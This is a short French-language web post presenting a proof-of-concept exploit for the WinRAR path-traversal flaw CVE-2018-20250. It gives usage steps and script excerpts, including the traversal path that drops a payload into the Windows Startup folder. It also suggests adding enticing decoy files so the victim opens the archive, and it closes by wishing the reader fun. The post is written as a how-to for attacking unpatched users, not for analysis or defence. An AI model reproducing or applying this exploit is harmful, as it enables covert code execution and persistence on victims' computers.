
WinRar est un logiciel très connu pour Windows. Une version précédente de WinRAR présentait une vulnérabilité qui a été corrigée en février 2019. La plupart des gens n'ont pas mis à jour WinRAR, ils sont donc vulnérables à ce bug de traversée de chemin absolu [CVE-2018-20250].
WinRar est un logiciel très connu pour Windows. Une version précédente de WinRaR présentait une vulnérabilité qui a été corrigée en février 2019. La plupart des gens n'ont pas mis à jour WinRAR, ils sont donc vulnérables à ce bug de traversée de chemin absolu [CVE-2018-20250]
exp pour Extraire l'exécution de code de Winrar
poc par Ridter
Comment l'utiliser ?
vous avez juste besoin d'installer Python 3.7, de préparer un fichier malveillant que vous voulez exécuter, de définir les valeurs souhaitées, ce script exp générera automatiquement le fichier d'archive malveillant!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rartest.rar, elle verra les fichiers hello.txt et world.txt. Vous pouvez également ajouter plus de fichiers, plus attractifs.![]()
hi.exe, en fait c'est un calc.exe. Lorsqu'il redémarrera l'ordinateur, le hi.exe s'exécutera.![]()
Amusez-vous bien ! :)